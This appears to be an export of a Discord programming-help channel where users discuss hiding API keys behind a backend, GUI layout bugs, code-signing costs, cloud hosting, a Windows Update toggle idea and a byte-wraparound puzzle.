#development

1 messages · Page 89 of 1

grizzled steeple
#

It's true that you shouldn't put any API keys just straight into Repos. But anyone with access to your website (I'm guessing it's a Website?) would be able to also extract it...
As you#re not using any framework (and have this the ability to hide it in thousands of lines of JavaScript), I'd say the easiest way is to just put an extra file on your server that is put in the gitignore and then fetched by one of your scripts. It's not super secure (and in general if you're dealing with secrets, you wanna keep those on a backend), but yeah...
Another thing to keep in mind is, as your key is already checked into your repo, I'd suggest generating a new one, after you took the current one out of your Repo. Don't want anyone just grabbing it from the commit history amiright?

slate frigate
#

I looked at his code, he's directly hitting the weather site with clientside code

#

Best thing to do would be to have a runner on the site that all the requests gst proxied through, so the api key stays client side

stone geyser
#

anyone working on any interesting repos using nextjs?

sturdy ingot
midnight wind
#

What you should have is your own backend

#

Which calls the weather api

peak acorn
#

Programming epick

mighty aspen
#

if you're trying to prevent access to a personal/business api key (to someone else's api) you need to add an api layer to your website. thier api <> api key<> your api <> frontend - that way the api key is never accessable on the front end

#

if you're hosting on something that makes that difficult, just throw up a micro php script to reflect the call and add the api key to the request and then return the data - that doesn't need any additional hosting etc if you're on a like godaddy or whatever

rancid nimbus
#

Then set up cors to only allow a single domain.

mighty aspen
#

^ generally apache will handle that for you on the godaddys etc, they wont serve php externally

rancid nimbus
#

I am used to static hosting on an nginx server. Also, in the http request there is a reference field of who sent them. You can and should filter on that to prevent someone from just being annoying and wasting your API key usages.

gaunt holly
#

man tysm fot the help

gaunt holly
#

I wonder what can a person do with my api key

#

I kinda don't care about this project, I'm just starting to learn

slate frigate
#

Nah, looks mostly fine. Im a backend guy, so my html/css/js is jank as hell anyways

#

As for the key, I'm assuming its a free key?

gaunt holly
#

yes

gaunt holly
slate frigate
#

Yeah, i wouldn't be to concerned then

gaunt holly
sturdy ingot
#

You can't hide your API key if it is used within your client-side application.

gaunt holly
#

yeah

#

f

nocturne galleon
#

hello! i just finished getting a javafx WebView to show up in my swing program, but its size is kinda messed up, it doesn't seem to fully autosize to fit the content, i imagine this is something with the rest of my GUI hierarchy but i'm not sure what, in case you're curious about why i'm not using lambdas, it's because i have to use java 6 syntax
https://paste.ee/p/bEnYH
https://cdn.discordapp.com/attachments/754295502996111441/982654542955040778/direct.png
the relevant hierarchy is basically
JFrame
-> JPanel (CardLayout)
-> JPanel (GridBagLayout)
-> JPanel (Y_AXIS BoxLayout)
-> JPanel (GridLayout)
-> JFXPanel
-> WebView
in case it wasn't clear, the WebView is the thing below the buttons

#

also in case it's not obvious, the WebView is the "email, phone, or skype" thing

next cipher
#

to be clear - there are services where you don't have to build or manage a backend, and your users can just authenticate through oidc or something then get a short-lived API key

#

but its obviously impossible to use a key in an entirely client-side app and not have it visible to the client

#

but it's still impossible to just store an API key in the client securely for obvious reasons

cobalt mulch
#

Thanks i realized major part i was worrying about the “right language part” aswell

sturdy ingot
fervent flax
#

if you want to commit your config to the repo maybe look into git-secret/git-crypt

#

ive used it at multiple prior employers and it's worked fine

gaunt holly
#

Thank you so much for suggesting, but it's a free api and i kinda don't care about the website so much, it should be fine

#

I'm just trying out stuff

#

It's not done yet but, tell me how it is

fervent flax
sturdy ingot
# gaunt holly It's not done yet but, tell me how it is

Please do not try to get the lat/long before a user actually presses the "use current location" button. Websites that request access on some resource (location, microphone, camera, notifications, ...) even before I was able to read them or have a look are inherently suspicious to me.

Also keep in mind that users may never allow your site to access the geolocation, so you want to be prepared for that in the weatherloc.addEventListener.

twilit elk
gaunt holly
gaunt holly
mighty aspen
# gaunt holly yeah

again, you can still do all your stuff clientside and make it simple, you just need a api endpoint that forwards your request and attaches the key.
you need to change it from doing this:

#

to hitting some api you control, which returns that instead, so it doesn't show this token qithin the url/get request

mighty aspen
#

I made a proxy/secrets simple majiggy for it in php for free on 000webhost, made you a pr with it all implemented.
ill ping you it.

nocturne galleon
#

What's the best app/IDE for php/html/css/js development?
running into a butt tonne of errors on the php side using visual studio code

mighty aspen
nocturne galleon
#

Seemed to have got it working, something to do with the path in my system settings

proper ingot
proper ingot
#

Ooo, just looked at the repo. Looks really cool

#

Might have to give it a try

vestal spire
#

I have a question. I cloned a repo and I did git checkout -b to fix some issues. Then, I'm now trying to push to the new branch I created and I'm getting The current branch branch_name has no upstream branch

and it shows this command

git push --set-upstream origin branch_name

do I just do that command?

hollow basalt
#

you do just do that command

alpine girder
#

do you ever just scream "i hate css"

mighty aspen
alpine girder
#

i set it to float right and it just decided to not be confined by the laws of its container anymore

mighty aspen
alpine girder
midnight wind
#

yeah I just use flex everywhere

sturdy ingot
# mighty aspen ah, the joys. this picture helps me a lot

And there's border between margin and padding. But of course, depending on the box model those may be part of the content's width and height... or not. CSS in the early 200X really sucked to due different browser support (and IE6).

peak acorn
#

Css is so awful I'm glad I don't touch it at work

leaden gorge
slate frigate
#

I have resorted to using image libraries and photo manipulation on the backend to avoid any and all reasons to use JS and CSS, other than a simple ajax call

midnight wind
#

Modern css and js I honestly don't have too much of a problem with

#

It's all the other stuff on top of it

#

A css compiler..., js compilers, and the other packaging...

rancid nimbus
#

When working on some code today I managed to get an asynchronous location service working. Now my weather app can wait for a location so that it can determine the local weather without using a really unreliable geolocation based on IP. Now I need to attempt to switch it over to org.freedesktop.portal.Location instead of org.freedesktop.GeoClue2

quaint skiff
rough pollen
#

Idk if it goes here, but I'll move it if I'm told go:

idle aurora
#
public Form1()
        {
            InitializeComponent();
            homeTab.MouseClick += new MouseEventHandler(TabControler);
            Spotify.MouseClick += new MouseEventHandler(TabControler);
            Youtube.MouseClick += new MouseEventHandler(TabControler);
            Soundcloud.MouseClick += new MouseEventHandler(TabControler);
            settingsTab.MouseClick += new MouseEventHandler(TabControler);
        }
        private void TabControler(object Sender, MouseEventArgs e)
        {
            
        }

What im trying to accomplish is a event tabcontroller. I push on the homebutton and it changes the home background color and changes tabcontrol to homePage

#

like inside tabcontroller id like to have change button color of whatever mouseclick

#

idk how to detect wwhat the sender is like to identity it. idk im dumb tryna explain

mighty aspen
#

^^ so you're wanting to be able to see which element was the one that got clicked, in order to change it's color?

quick agate
#

Ive ran into issues on my lab assignment for college where it says I am not returning a boolean even though I have 2 return false and a return true
public static boolean checkEqual(int[] array1, int[] array2) { if (array1.length != array2.length) { return false; } else { for (int i = 0; i < array1.length; i++) { if (array1[i] != array2[i]) { return false; } else if (array1[i] == array2[i]) { return true; } } } }

rancid nimbus
#

Also, CS:GO does not help your homework or lab work get done. I guess that is pretty obvious.

hollow basalt
quaint skiff
#

they did at least say their atom team would focus on VS code so it's not like they're firing the developers

idle aurora
#

i just down want to have a bunch of hometab_mouseclick, settingstab_mouse click but instead just have it go to a event handler becuase the tabcontrol is setup with the same name as the button is so the buttonname is hometab, the tabcontrol is page then it would be page.hometab

#

nvm got it System.Windows.MessageBox.Show(((Control)Sender).Name + "Was Pressed");

#

((Control)Sender).Name

idle aurora
#

now i have a event for when a tab is changed aswell so i can load diffrent things by name

vivid flower
#

anyone here know a good way to multithread GNU C? I'm writing a mandelbrot set program and I want to speed things up but all I've heard are vague references to POSIX and the Windows API

(using windows btw)

#

https://developer.nvidia.com/how-to-cuda-c-cpp

also thinking of using this lol

midnight wind
#

C11 introduced standardized multithreading

#

you can use threads.h

vivid flower
#

oooh sweet

midnight wind
nocturne galleon
#

speaking of C, i seem to be experiencing some really weird behavior, this printf runs for the entirety of the loop, even though it running once should mean the function returns right after, i'm guessing i hit some UB somewhere and that's causing the oddity but i have no idea where, i can send the whole file if necessary https://i.bottomservices.club/rb7jQeQnuxqy

deft sigil
#

python is a weird language (or this is a verry bad way of testing int but) , i think its the only language where branching is faster :```py
from timeit import default_timer
res1=res2=0 ; n= 10_000_000
def tr3(a):
if (a == 0) : return +1
elif (a > 0) : return -1
elif (a < 0) : return +0
else : return 'error'

def one(a):
return ( +1 * (a == 0)
-1 * (a > 0)
+0 * (a < 0))

start=default_timer()
for i in range(n):res1=tr3(res1);t1=default_timer()-start

start=default_timer()
for i in range(n):res2=one(res2);t2=default_timer()-start

print(res1,'\t:\t',t1,'\tvs\t',res2,'\t:\t', t2) result :py
1 : 1.922122091993515 vs 1 : 2.5482761279999977

deft sigil
nocturne galleon
#

my bad, turns out that function is just called more often than i thought

slate frigate
#

I love how one might think that simply printing to screen would be a single, simple function, regardless of the language

acoustic juniper
midnight wind
#

it's called the Media Session API

peak acorn
#

wtf is printf_s

peak acorn
#

i aint never used that

#

but also we dont put printf in production code so

slate frigate
#

BSD's wireguard implementation originally did KEKW

#

In the middle of crypto functions as well

peak acorn
#

0thats awesome lol

slate frigate
#

It was a shit show, really messed up pfsense releases for a bit

peak acorn
#

we dont have no prinfts because they r bad tho

#

kinda because airplanes dont have stdouts 💀

slate frigate
#

How to give the FAA a heart attack - Plane flown by CLI command

peak acorn
#

😎

wise path
#

Can someone who has used pyinstaller for creating python apps pls dm i have a problem with ytmusicapi when its packaged (works fine when i run it as a .py file)

nocturne galleon
#

just ask

wise path
sturdy ingot
#

Ah, nevermind, just saw that you already found the issue.

rose pulsar
#

<@&750150305383186585>

timber basin
#

Does anyone know what this line of code does in python? " arr = map(int, input().split()) "

#

does map work the same way as in javascript?

silk eagle
#

as for what that line does, i believe it makes an array of integers from each character in input() (🤦)

#

not sure what int does in that context tho (im going with the assumption that it just attempts to make the characters all of type int)

rancid nimbus
#

It attempts to convert the input to an array of intragers. It splits on spaces.

west stone
#

How it was for stringify for json with JS?
directory something.. JSON.Stringify[something]?
Somebody give me a example im lost and google is not helping much 😄

silk eagle
#

what

wise path
#

Guys is there anyway to sign a exe for free without paying for signing certificates

lament cave
west stone
#

Yea im now kinda figuring it out, but basically what i want to do is write new key with value if theres no one, if yes then rewrite

#

I have real file, parse etc staff, but on JSON.stringify it won't make anything

slate frigate
#

@wise path Trusted certs cost money

#

Or going through a vetting process via a storefront

wise path
#

Ok thanks for the input

slate frigate
#

@wise path this for your spotify dl tool?

wise path
#

how do you know

slate frigate
#

You have your github profile on your discord profile, and even a quick glance shows you're heavily concerned with portability and trust

#

The exe packaging, VirusTotal results, and some pretty solid documentation

wise path
slate frigate
#

Yes. I can always appreciate people that take the time to document

wise path
#

but yea i always go by this rule: Never half arse 2 things ,always do something fully

wise path
#

@slate frigate One more question: Are signing certs a on time thing to pay for or is it a subscription

#

and with one signing cert can i sign any no.of versions of app?

slate frigate
#

Technically you can self generate a signing cert, it just won't be default trusted or know by any computer unless the corresponding certificate authority is also installed.

#

I know globalsign does code signing for something like 300$ for their basic package I think

cloud knot
wise path
cloud knot
#

but this is also platform dependent; on Android you just use your own key/certificate and never need to spend anything above the base $25 one time fee to access Play Store; on iOS the key/certificate stuff is done via Apple Developer portal, which is $99/year.

Authenticode can be had as low as $60-$70/year if you really want one

slate frigate
cloud knot
#

but realistically only thing it does is it will pop up that annoying window where you need to press a link to enable a button

wise path
slate frigate
#

Yeah, I've never taken the time to sign any of my stuff. If anything, I make sure if I'm compiling for windows, I just have a nice descriptive manifest

cloud knot
#

yeah, without cert your users might get this for some time

cloud knot
#

and then there is the whole "notarization" crap at macOS

slate frigate
#

Another decent rule of thumb for projects is if you're not getting paid for it, don't shell out your own cash, lol. That's bitten me in the butt before

cloud knot
slate frigate
wise path
#

will that make it go away

cloud knot
#

to be fair, it is unused because i switched to macbook pro, as mac mini was kinda useless when going to customers

cloud knot
slate frigate
#

It will just make it go from "unknown" to your details

wise path
slate frigate
#

Still good for verification it came from you, just not automatically trusted by windows

wise path
#

any video you can recommend to self sign?

slate frigate
#

Sounds like not much juice for the amount of squeeze you're doing

#

And not really, i just read the docs

cloud knot
#

MSFT statement from 2012:

Detractors may claim that SmartScreen is “forcing” developers to spend money on
certificates. It should be stressed that EV code signing certificates are not required
to build or maintain reputation with SmartScreen. Files signed with standard code
signing certificates and even unsigned files continue to build reputation as they
have since Application Reputation was introduced in IE9 last year. However, the
presence of an EV code signing certificate is a strong indicator that the file was
signed by an entity that has passed a rigorous validation process and was signed
with hardware which allows our systems to establish reputation for that entity more quickly than unsigned or non-EV code signed programs.

cloud knot
#

it's just that until enough people run your program, it might not be trusted

slate frigate
#

Its not like people wont just click "trust" anyways. People just straight running malware since the beginning of time.

wise path
cloud knot
wise path
slate frigate
#

How big does that python executable get?

wise path
slate frigate
#

Not too bad.

wise path
cloud knot
slate frigate
#

Well, yeah. Python executables bring everything with em, resources, runtime, etc. They can get bloated fast

wise path
#

also you need around 100 or so mb (ffmpeg) to convert to mp3 so thats one downside

wise path
#

ive tried my best to make all imports as small as possible by doing from modeule import class

slate frigate
#

I can't say too much, since i primarily write golang code

#

Can you say 4mb hello world? Lol

wise path
#

im pretty sure python exe are a lot bigger

#

oh and @slate frigate the exe also has 3 other files inside of it

#

a .py file and 2 png files

nocturne galleon
#

it's just a scope thing

wise path
#

hmm i see

#

damn i thought it would make a diff but meh the app is only 14mb

nocturne galleon
#

14mb for packaged python is not bad

minor crag
finite kettle
#

How do I use googles testapp

#

I downloaded CellBroadcast testapp thing from the AOSP git, and enabled The CMAS secret code in the dialer

#

I have several individual .java files and I want to use them to generate a Cell Broadcast Dialogue Box

boreal sun
#

Is there a way to make an elf file that just runs another program?

rotund zinc
#

What tools should a software company use?

#

I mean Visual Studio Code and GitHub are obvious. Anything else?

midnight wind
#

depends on the specific needs

rotund zinc
#

idk like web development or mobile app dev?

peak acorn
#

Still very broad lol

rotund zinc
#

yeah idk honestly. are there like any industry standard tools idfk?

peak acorn
#

For one thing, work tracking tools like asure devops

#

That's what we use, there's a shit ton tho

rotund zinc
#

ok lets say web development

midnight wind
#

still very broad...

rotund zinc
midnight wind
#

it really depends on company as well

peak acorn
#

Azure*

#

But yeah, there's a ton of different software companies use.

midnight wind
#

docker is another big one I can think of

#

or other containerization software

rotund zinc
#

any server software

midnight wind
#

it also depends on the product as well, what specifically it is designed for

rotund zinc
#

is TrueNAS used in enterprise sector?

midnight wind
#

that's not really software dev

#

that's just IT

#

dev != IT

rotund zinc
#

yeah im just interested

midnight wind
#

I've never encountered truenas myself in the wild somewhere

peak acorn
#

Github has an implementation for it but there's numerous version control services and also tools for reviewing diffs

midnight wind
#

also CI/CD

peak acorn
#

What's that

rotund zinc
#

Continuous Integration

peak acorn
#

Oh ye

midnight wind
#

continuous integration / continuous deployment

peak acorn
#

Yeah

#

Devops has stuff for automatic test pipelines

midnight wind
#

testing, a whole other can of worms

rotund zinc
#

whats better Slack or MS Teams

midnight wind
#

we use teams since it's free...

peak acorn
#

My company is stuck on Skype lmfao

rotund zinc
midnight wind
rotund zinc
#

Do companies use Discord? Like genuinely

peak acorn
#

Skype and outlook, yepp

midnight wind
#

not built for it

rotund zinc
#

What else do you use PresentMonkey?

midnight wind
#

slack and teams have much better integration

rotund zinc
#

Integration with what?

midnight wind
#

for teams

rotund zinc
#

hmm everyone does like $6/user/mo for teams

midnight wind
#

we use microsoft 365 which includes teams, so might as well use it

rotund zinc
#

I see

#

alright then thanks

warm sky
#

anyone here know python need help with a code error

peak acorn
#

At least some people here know python, just post the issue, don't wait for someone to agree to dedicate themselves to your issue :-)

midnight wind
#

the relevant code would help..

#

relevent means the section that the error is referencing

#

response_cap_color=int(sys.stdin.readline().strip())

warm sky
#

dw worked it out

nocturne galleon
#

jdtls doesn't feel like using my project specific config in nvim for some reason 😭

vestal spire
#

any can help me with strapi-middleware-cache and setting up aws elasticache redis?

hollow basalt
#

any can

lament bridge
#

Do anyone know a File Archive system that built with NodeJS or PHP?

Basically, what I am looking for is managing the files myself, while the public can download them

vestal spire
#

I think strapi-middleware-cache doesn't support cluster mode. The doc mentioned ioredis and i wanna know how to link the 2 together?

#

Trying to use redis as cache for strapi

mighty aspen
#

probably same concept tho, the actual organization and retrieval is pretty trival to handle yourself

restive harbor
#

hey i have a question rn i have gpu 1660 super and i would like to upgrade which gpu is compatible with my system

livid bison
hollow basalt
#

he's developing his pc

vestal spire
#

does anyone know about aws pricing? I'm using the so-called "Free Tier" but I was charged with some amount of money. I looked at the bills page and the charge was from VPC. I was using ec2 free tier and had elasticache running but i think it is also under free tier. Any ideas where this is from? Is it from a client vpn I had opened?

slate frigate
#

@vestal spire if you have 5$ a month, i personally recommend switching to linode

#

Aws free tier's limits can be pretty easy to accidentally go over

hollow basalt
vestal spire
#

Is ec2 totally free for free tier if I use t2 micro? I'm not that certain anymore since it requires VPC which VPC costed me some money

vestal spire
hollow basalt
vestal spire
hollow basalt
#

Have you read what a VPC is

snow sable
#

10 generation difference between 2 phones. (OS wise)

#

Also it's time for IOS 16

#

🎉

wise mist
#

yes

snow sable
# wise mist yes

The beta is kinda glitchy though, so this is going to be the last official update for the Iphone 8 and SE 2
And this update will be pushing the limits for these 2 models.

livid bison
#

12ProMax

snow sable
#

(and a Ipod 4G)

livid bison
#

Wow, wouldn’t have guessed it’s even supported on that

snow sable
#

It doesn't

vernal marsh
#

So I have been testing to create a NLP and ML application which focuses on productivity... its called summarize , its more of a research helping application... Aside from ML part of things which is pretty much platform independent... I am more concerned about making a application cross platform (desktop primarily)...

At first I created the prototype for the application in flutter for android (windows wasn't officially supported yet) but I knew that was in pipeline... I created some of my own plugins for tensorflow lite to run my models (current situation is kinda not good)... I found that it is pleasant to work with but it requires a lot of effort to make the ML side of things even just work... But flutter allows me to use me previous code and expand to mobile...

Next contender is Tauri ... To be specific I don't like Web tech stacks outside of web... for example electron and react native they are usually they are very limiting... specially when I am probably going to write a lot of platform specific code.. its fine for casual things. I haven't done a lot of research toward entirety of tauri but being able to use web stacks for UI and being able to call Rust code seems pretty good to me specially because I am going desktop first approach... Obvious advantage of using tauri is being able to use already existing wrappers etc in rust. which I find very time saving. If anyone has experience using tauri I would like to know if there are any limitations and fallbacks that I need to deal with... I the application will have pretty minimalistic UI, I can use whatever framework in web to achieve it.
should I consider flutter and work on improving its tensorflow support situation per platform on my own and have favour of android support or just continue with tauri.

#

Just as a thing I am comfortable in writing code for all of them... I am just lazy and don't want to do extra work if I don't have to

ocean venture
#

Anyone know a good Linux cloud hosting service? I have previously tried Aws and azure

lofty swift
#

not cloud hosting but contabo has great value vps

dusty zinc
next cipher
#

linode, vultr, or digitalocean are all pretty solid and have basic flat rate VPSs that won't give you a surprise $10k bill because you clicked the wrong thing (can happen with AWS even if you're supposedly on their free tier)

ocean venture
nocturne galleon
#

Does anyone know of an extension or addon for vs code or Visual Studio that runs SEI cert compliance checks

midnight wind
#

If you want cheap, DO, Linode like Andrew said

#

I don't think you need features of like azure, gcp, aws

silk eagle
nocturne galleon
#

Only like 2 threads and 1GB of ram, compared to the 4/24 in arm

next cipher
#

it's amd epyc iirc though

#

so 2 threads is pretty solid

silver furnace
#

Guys I just came up with an awesome idea for Windows 10/11 software

#

Basically a service which you install that runs at least with Administrator privs that simply uninstalls the two or three Windows Update related services completely by removing the keys from registry. This is still the 100% fool-proof way to be positively reassured that updates aren't and will never be turned on magically.

#

But whenever it does the removal, it backs up those reg keys.

#

Then, on the user-facing side, you'd have some program or whichever interface to "turn updates on and off" on demand.

#

You can re-enable the updates which would be done by restoring the service reg keys. Update would run; you can disable again. If there are reliable ways to expand it with other certain features, they would be added too. I.e. selecting updates before restoring win upd.

If you had automatically download and install set or didn't hide whichever updates you're avoiding prior to turning off update, you can't change those settings without update running 😉

#

I used to have devout faith in the method where you delete files inside %windir%/SoftwareDistribution, which contained the pending updates on next reboot. Then, the most recent time, it didn't work. I got updated. I did not want to get got updated. Update as always was labeled "quality and security"; it contained:

  • Little to none actual security and quality improvements which are virtually always not relevant at all to most users.
  • All of the 2004 and 20H whatever features despite it actually being a deferred to 1909 version (those features are the very reason why I avoided updating from 1909 in the first place)
  • Probably something broke. I have literally never seen things broken in Win 10 updates which got fixed later or even addressed.
#
  • Oh yeah and random ??? changes with no documentation, information on what the purpose of that change is; occasionally, you can speculate on the purpose of the change because it looks an awful lot like a move to further deter any unintended modding. Unintended modding is disincentivized by Microsoft usually in one of two ways:
  • The entire mod breaks and now requires an update at the minimum
  • The entire mod breaks so hard that your Win 10 breaks
silver furnace
#

Tl;dr, this is some of the most highly demanded functionality: completely enable/disable updates.

Why completely disable:

  • Up until a certain point, earlier 10 versions don't have the function to defer major version
  • Among all of its other components, deferral is absolutely useless because major version literally has no meaning: you get random new functions peppered in with the security patches and fixes (the entire point of it is to stay on a major version while still receiving those very same patches -- perhaps the only mandatory and useful kind)
  • Since 10 and to this very moment, Microsoft introduced an aggressive strategy to collect information and slowly make it impossible to use the OS without update. The tendency became to usually collect more information with less awareness of users and ability to opt out. This is practically impossible to justify as helpful or benign to end user and OS.
  • Windows updates are likely at unacceptable levels to break things
  • Those same things updates nowadays are not fixing seemingly ever (this is real; there are still issues introduced in 7 or 8 which haven't been fixed yet in 11 or somehow worsened)

Why re-enable:

  • There are completely irrelevant features which require the update service for absolutely no logical reason. I.e. updates & security menu contains settings for DEP, etc. Without update service, it crashes when you click there. Windows Defender is the common link, however Defender is just like any other Microsoft product which relies on updates for patches or otherwise some form of downloaded data (in this case, definitions are also downloaded as updates). There should actually be at least two separate sections always with updates being separate. Exploit protection and defender can be grouped together. - All workarounds for the aforementioned kind of problem are slowly being removed (also intentionally and aggressively starting with 10). Old control panel settings didn't have any showstoppers at least with regards to disabling updates. These control panel places are being completely deleted with the end goal of replacing it entirely with the new App UI Settings
  • Certain manual installations of software from Microsoft is shipped as MSU files which install through update service
  • Sometimes it's actually very important to install certain updates regardless of bad anything Microsoft forces on you. Using Windows means that you are the assumed target of virtually all attacks on PC User. On Windows, a security hole can easily have no way to avoid or mitigate in a reasonable way. Wannacry can't spread to PCs without any network cards for sure (or just unplugged cable). At this point, you might as well tolerate all of this crap Microsoft shovels us because at least you have network. There are many more features like RPC or SMB which can be attacked no matter what unless yanked out entirely; this breaks significant things across the OS.

Why does this really matter in the first place:

  • Microsoft is clearly tending towards their ideal relationship with the users' private information: they can't be licensed to use the product without consenting to giving permission to what is otherwise illegal to collect. How much of the information? As much as possible; ideally any and all of it which exists. What private information is it and how they use it? Marketing research

The data collected to improve and add demanded functionality: it's for functionality as a product in the context where OS is just market; the demand is only considered as long as it's optimal for them regardless of what it means for the OS user which now denotes the target consumer. Any crap about optimizing the economy or relevance between served content/products/services and your demands indicate the opposite of the goal; consumers' demands are only satisfied to reasonable extents because of two obstacle thresholds: the choice to purchase and eventually the limit due to ability to purchase.

alpine girder
#

sounds useful, why dont you make it?

silver furnace
#

We've long had an example of suppliers which are powerful enough to abuse consumers and disregard their demands: Apple -- if nobody buys our laptops/PCs, we'll still dominate the personal electronics market because iPhone.

Microsoft is now clearly headed toward being another Apple. In addition to monopolizing its own share of the market, Microsoft still pretty much monopolized the entire personal electronics as well. It's scary when you realize that Windows as an OS is just software and it amazingly lets them dominate the electronics market because an OS is required to use any PC/smart device. Finally, the real danger arose noticeably somewhere in the 2000 or 2010s with everybody relying on electronics for productivity, economic/financial dealings, etc.

compact spire
#

Basically you've got all of the downsides of a rolling release on an OS that comes in in a trenchcoat saying it's stable huh

silver furnace
#

So basically, until people finally start downloading Ubuntu for free and easily using it (the average user doesn't know what they're doing even on Windows and Ubuntu is definitely harder to install or use), Microsoft will update us to Windows 12, 13, 14, etc but since literally Win10, for the first time ever they're doing very bad crap which was usually exclusive to apple

compact spire
#

Plus none of the upsides I guess.
I think it's more likely to see Steam become a mainstream OS - though that does have issues of its own.

silver furnace
compact spire
#

Like I'm imagining Valve bundling in Chromium Stable, IceCat (or more likely FireFox), or a version of the ekioh Flow browser and asking LibreOffice among others if it's alright to put their product on the Steam software marketplace for unified installations.

#

Would be a crazy world, but that's the sort of crazy we've been living in for the past decade and a half.

silver furnace
#

Microsoft got sued once for including Media Player and I think Internet Explorer too

#

Also a mob once formed in front of their HQ demanding refund because even back then, 95 came on every computer haha

#

Now nobody even bats an eye as if it's completely fine. How long was Safari the only browser on iPhone

compact spire
compact spire
#

I mean, chromebooks exist.

silver furnace
#

By the way, you can finally get other web browsers from App store. Since things like Firefox are free to use, I guess Apple can't take their usual cut for profit.

#

However, last I heard, Firefox on iOS is uniquely lacking the plugin and extensions feature. I'm not sure about themes/skins/personas/vibes/whatever they call it now but I'd bet that it's also impossible to "install into Firefox". This is because of just a technicality arising from the very thing the term denotes. A plugin/extension is a separate "App" which is really just product. You cannot provide products on Apple products outside of their only platform in place, which is the App Store intellectual property of Apple TM shockingly.

#

On iOS I'm actually not worried at all. In fact, I consider that absolutely fair because intellectual property is usually (not) purchased as a separate product from the device in terms of hardware. If you make an FW for an iPhone from scratch or use something open source like GNU, that's where the real debate begins:

#

Can Apple legally determine whether or not the person who bought their phone is affected by a Terms of Use and make it (actually illegal through violating a contractual agreement just like the one they require your agreement before they give you the license to use their intellectual property)

#

In fact, even here you can see that it's actually what defines the license in itself. The most existential thing about being "licensed" to use a service/product (you didn't buy the property -- buying is naturally analogous in the informational context to putting yourself in Apple's place, for instance. You can additionally issue licenses to others without transferring ownership)

#

Long story short, if you really look at it closely, there is no way to justify that intellectual property like software/OS shouldn't restrict usage. Sadly, this pure information can encapsulate other markets of separate products like Apps. In actuality, it creates a significant target group artificially. You can't control how the planet sells Apps and force people to use your platform. It's both an artificial and intentional market trend they created precisely to have nothing available once you buy into the physical device. It only makes perfect sense seeing as it's easy to make something for which nobody made a required component yet (so here it's usually like smartphone chipset and peripheral devices soldered onto mainboard and a ROM with a kernel that packs all of the drivers for that combination of stuff soldered into device)

compact spire
silk eagle
midnight wind
mighty aspen
vernal marsh
#

@mighty aspen got it that seems another option for mobile... I tested out tauri and solid js with tensorflow lite c wrapper for rust to test my tflite models today (which I used in flutter mobile testing)... it seems very reliable despite tauri and solid js both being very new frameworks ... I was able to write the code in a few hours and get everything working with inference time per sentence of less than 0.3 ms ... I am pretty surprised by the results to be honest I thought it would be a hot mess to get such a good performance .

anyways again if anyone has worked with tauri before and found some problems with it just tag me ...

full socket
#

trying to get c++ setup on my macbook

#

didnt expect it to be as complicated as it seems

#

I prefer using vscode but im having issues with it working properly. i have the xcode complier downloaded and everything

#

idk if it might be better to try to use xcode? not entirely sure what im doing to be honest. ive heard xcode makes things easier by having things already built in

midnight wind
#

One common setup I've seen is using cmake with clang

#

Never used xcode so I can't comment on it

nocturne galleon
#

I want a job at floatplane 😦

#

Luke, gib me job. Thx

gloomy terrace
#

I have - kind of - a programming question ... I'm ... 95% sure I'm correct but want to ask others to make sure.

#

Let's say there's 32 numbers , each random with values between 0..255 , so basically 32 bytes.

#

And let's say I want to find some value that can be added to each of those 32 bytes (and if value goes above 255, loop it back to 0) so that there's not gonna be any byte with the value 255 ....

#

My assumption is that I'm guaranteed to find such 8 bit number that can be added to all those 32 bytes so that I'm not gonna have any 0xFF byte - there's no possible combination of 32 bytes which could basically block any 0...255 number from working.

#

ex the 32 byte string 0x00 0xFE 0xFF 0x00 ... if I add 1 , I'm gonna have 0x01 0xFF 0x00 0x01 ... so 1 won't work. But 2 would ... 0x02 0x00 0x01 0x02 ...

slate frigate
#

@gloomy terrace so just loop through adding 1-255, treating each byte as a new int, and handle any overflow as it happens

#

Then you just do a check after each loop to see if any byte is 00

gloomy terrace
#

yeah already did it ... just wondering if maybe somehow i missed some edge case where some combination of 32 random values could make it so i can't find one number suitable so that i don't have 0xFF in the resulting array of bytes

#

can't brute force it testing for all possible combinations of 32 bytes ... would take days

slate frigate
#

Nah, guaranteed to have at least 223 values

gloomy terrace
#

yeah, appreciate it.

slate frigate
#

You could also come from the other direction, create a deduplicated list of all the bytes as int, and then all numbers that are 255-anything from that list are not solutions, so you select the inverse

gloomy terrace
#

has to do with some compression scheme, which involves the number of 1 bits in byte in a calculation ... if there's no 0xFF in the data, then the compressor can use 3 bits to store the number of 1s in a byte because only 0xFF has 8 1s

slate frigate
#

@gloomy terrace you writing your own compression scheme?

gloomy terrace
#

Working on something... but still a long way to go

nocturne galleon
#

Neovim is so convenient for programming remotely through ssh

#

Though i can't test GUI programs since X11 forwarding doesn't feel like working properly somehow

#

Honestly lunarvim feels more convenient than vscode

#

And with some jdtls tweaking i did, it's even good for java

rancid nimbus
nocturne galleon
#

For example, seeing if all dynamic elements of a GUI appear in the right place

sturdy ingot
# nocturne galleon Neovim is so convenient for programming remotely through ssh

I must say I really like Emacs' TRAMP for remote editing. You just open /ssh:<remotemachine>:/path/to/file/on/remote and stay within your regular Emacs environment, no need to install and configure an editor on remotemachine (or argue with your coworkers about editor configurations, because they tend to change the config files in /etc instead of $HOME/.config...).

slate frigate
#

<@&750150305383186585> ^

sturdy ingot
# gloomy terrace yeah already did it ... just wondering if maybe somehow i missed some edge case ...

No, you're fine. For every collection of random 8bit values you will find a solution, as long as the collection has at most 254 elements. As long as your collection has at least one gap X (e.g. an 8bit number that is NOT in your collection) , you can use 255-X as your addition, since only (255 - X) + X will yield 255, and all other values will yield another value. With 255 or more elements, that's only guaranteed if you have N duplicates for 254+N numbers (since you need to have at least one gap X).

tight hare
#

Hi there, I programmed a game and uploaded it to steam. Maybe you want to play for a little. https://store.steampowered.com/app/1775110/Chilli_Con_Valley/ . By the way its free

What is Chilli con Valley?Chilli con Valley is a game in which you control a Bean. This Bean needs to reach its chilli con Carne pot as fast as possible in order to get a new best time. The game features multiple levels with a very interesting and nice graphic. You can also discover new and unknown ways to solve a new level as fast as possible.B...

▶ Play video
nocturne galleon
compact spire
# vernal marsh <@193805483277156352> got it that seems another option for mobile... I tested o...

tfl has a layer lower, iirc
https://www.youtube.com/watch?v=iTj0lcVSIVU

Cram deep learning in your pocket with these clever hacks. Discover how to stuff artificial neural networks into your favorite underpowered microcontroller!

Rad video about my Somatic data glove: https://www.youtube.com/watch?v=6raRftH9yxM
Download my gawd-awful code: https://github.com/ZackFreedman/Somatic

I'm on the Instagram! Come look at m...

▶ Play video
#

For speech inference it's a lot harder though.

lament bridge
#
 if (md5_file($file_win) == false) {
                echo "File not found";
